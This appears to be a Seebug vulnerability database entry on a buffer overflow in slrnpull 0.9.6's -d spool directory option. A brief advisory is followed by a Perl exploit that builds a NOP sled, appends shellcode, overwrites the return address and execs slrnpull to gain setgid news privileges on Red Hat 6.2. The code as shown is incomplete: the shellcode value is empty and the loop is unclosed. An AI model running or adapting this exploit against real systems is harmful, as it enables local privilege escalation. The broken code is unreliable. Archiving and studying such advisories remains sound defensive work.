SLRNPull 0.9.6 Spool Directory Command Line Parameter Buffer Overflow Vulnerability

ID SSV:75235
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


N is a freely available, open source news reading utility. It is developed and maintained by the SLRN project, and designed for use on various operating systems. This problem affects the UNIX and Linux implementation.

Due to a boundary condition error, a buffer overflow condition exists in spool directory names. This problem affects the slrnpull program, included as part of the slrn package. When slrnpull is executed with the -d flag, and a file name of greater than 4091 bytes, the overflow makes it possible to overwrite process memory, including the return address.

# Credits for the vulnerability: Alex Hernandez (its setgid news not root)
# The exploit was written by: /
# Gain setgid news on a Red Hat 6.2 Intel box

$shellcode = 

$offset  = "-500"; 
$esp     = 0xbfffe2cc;

for ($i = 0; $i < (2041 - (length($shellcode)) - 4); $i++) {
    $buffer .= "\x90";

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset)); 

print("The new return address: 0x", sprintf('%lx',($esp + $offset)), "\n");

exec("/usr/bin/slrnpull -d '$buffer'");